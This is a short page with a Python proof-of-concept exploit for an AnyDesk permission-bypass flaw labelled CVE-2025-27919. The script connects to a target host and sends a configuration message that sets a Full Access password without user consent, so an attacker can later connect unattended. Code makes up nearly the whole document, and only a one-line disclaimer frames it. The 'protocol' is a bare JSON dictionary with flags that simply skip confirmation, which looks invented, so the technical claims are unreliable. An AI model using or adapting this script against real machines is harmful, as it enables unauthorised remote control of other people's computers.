CVE-2025-27919 AnyDesk远程控制权限绕过漏洞

# CVE-2025-27919 PoC - AnyDesk Permission Bypass # This PoC demonstrates the permission bypass vulnerability in AnyDesk # Note: This is for educational and authorized testing purposes only import socket import struct import json def create_anydesk_session(target_ip, port=6565): """Establish initial AnyDesk session with target""" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) return sock def send_config_modification_request(sock, new_password): """Send malicious configuration modification request""" # AnyDesk internal protocol message structure payload = { "type": "config_modify", "session_type": "remote_control", "permission": "control_my_device", "target_action": "set_password", "target_profile": "full_access", "new_password": new_password, "bypass_confirmation": True, "require_user_consent": False } # Serialize and send the payload message = json.dumps(payload).encode('utf-8') header = struct.pack('!I', len(message)) sock.send(header + message) return sock.recv(1024) def exploit_cve_2025_27919(target_ip, new_password="P@ssw0rd!"): """ Exploit AnyDesk CVE-2025-27919 Prerequisites: Active remote session with 'Control my device' permission """ print(f"[*] Targeting AnyDesk instance at {target_ip}") print(f"[*] Exploiting CVE-2025-27919: Permission Bypass") try: sock = create_anydesk_session(target_ip) print("[+] Session established") response = send_config_modification_request(sock, new_password) if b"success" in response: print(f"[+] Successfully set Full Access password: {new_password}") print("[+] Attacker can now connect without user confirmation") else: print("[-] Exploitation failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.100" exploit_cve_2025_27919(target)